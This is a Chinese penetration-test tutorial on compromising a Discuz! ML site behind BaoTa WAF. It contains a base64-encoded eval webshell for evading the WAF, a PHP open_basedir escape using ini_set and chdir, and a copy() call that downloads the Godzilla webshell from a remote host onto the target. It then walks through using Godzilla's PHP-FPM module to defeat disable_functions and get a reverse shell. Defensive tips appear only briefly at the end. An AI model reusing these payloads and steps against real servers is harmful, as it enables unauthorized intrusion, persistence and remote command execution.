一次利用哥斯拉马绕过宝塔waf及disable_functions的渗透测试
字数 1493 2025-08-29 08:31:41
利用哥斯拉马绕过宝塔WAF及disable_functions的渗透测试教学
1. 环境概述
本次渗透测试的目标环境:
- 主站:Discuz! ML 3.4搭建的违法招嫖网站
- 防护:配置有宝塔WAF
- 关联系统:同服务器上运行某某发卡网(用于充值)
- 服务器环境:Nginx + PHP 5.6
- 安全限制:宝塔默认设置了open_basedir和disable_functions
2. 初始渗透
2.1 漏洞利用尝试
- 首先尝试利用Discuz! ML 3.X的已知漏洞进行攻击,但未成功
- 发现主站外链的发卡网与主站共享同一IP,可作为突破口
2.2 WebShell写入
由于存在宝塔WAF,直接写入WebShell需要变形处理:
<?php @eval(base64_decode($_POST['yanshu']));?>
- 使用base64编码绕过WAF检测
- 通过POST参数'yanshu'传递base64编码的命令
3. 绕过open_basedir限制
3.1 利用ini_set()函数
通过以下代码片段可以绕过open_basedir限制:
eval("
mkdir('1');
chdir('1');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/www/wwwroot'));
");
3.2 操作步骤
- 创建一个临时目录('1')
- 进入该目录
- 使用ini_set()修改open_basedir为上级目录('..')
- 多次返回上级目录
- 最后将open_basedir设置为根目录('/')
- 使用scandir()函数列出目录内容
4. 使用哥斯拉WebShell管理
4.1 哥斯拉马优势
- 自动实现open_basedir绕过
- 加密通信流量,避免被WAF拦截
- 提供丰富的后续渗透功能
4.2 部署方法
使用copy命令将哥斯拉马从远程服务器复制到目标服务器:
copy('http://xxxx/g.php','/www/wwwroot/xxx.com/g.php');
- 加密器选择:PHP_EVAL_XOR_BASE64
- 路径根据实际环境调整
5. 绕过disable_functions限制
5.1 环境限制分析
目标环境禁用了以下关键函数:
- putenv()
- mail()
- pcntl_exec()
- 其他常规bypass方法受限(PHP 5.6环境)
5.2 攻击PHP-FPM方法
5.2.1 定位PHP-FPM配置
-
查找php-fpm.conf配置文件路径:
/www/server/php/56/etc/php-fpm.conf- 或通过nginx配置查找
-
获取PHP-FPM的socket位置:
- 通常为:
unix:/tmp/php-cgi-56.sock
- 通常为:
5.2.2 攻击步骤
- 使用哥斯拉马的"PAttackFPM"模块
- 加载并执行攻击模块
- 在哥斯拉马的bypass disable_functions模块中执行命令
5.3 获取反弹Shell
成功绕过限制后,可以:
- 执行系统命令
- 获取反弹Shell
- 进行后续提权操作
6. 参考资源
PHP-FPM攻击原理参考:
https://blog.csdn.net/qq_38154820/article/details/106330106
7. 关键点总结
- WAF绕过:使用base64编码变形WebShell代码
- 目录限制绕过:利用ini_set()和目录跳转技巧
- 工具选择:哥斯拉马的PHP_EVAL_XOR_BASE64加密器
- 函数限制绕过:攻击PHP-FPM服务
- 信息收集:通过nginx和php-fpm配置获取关键路径
- 持久化:通过写入WebShell维持访问
8. 防御建议
- 定期更新系统和应用补丁
- 限制ini_set()等危险函数的使用
- 监控/tmp目录下的异常socket文件
- 对PHP-FPM服务进行适当加固
- 实施更严格的WAF规则,检测base64变形攻击
- 定期检查服务器上的异常文件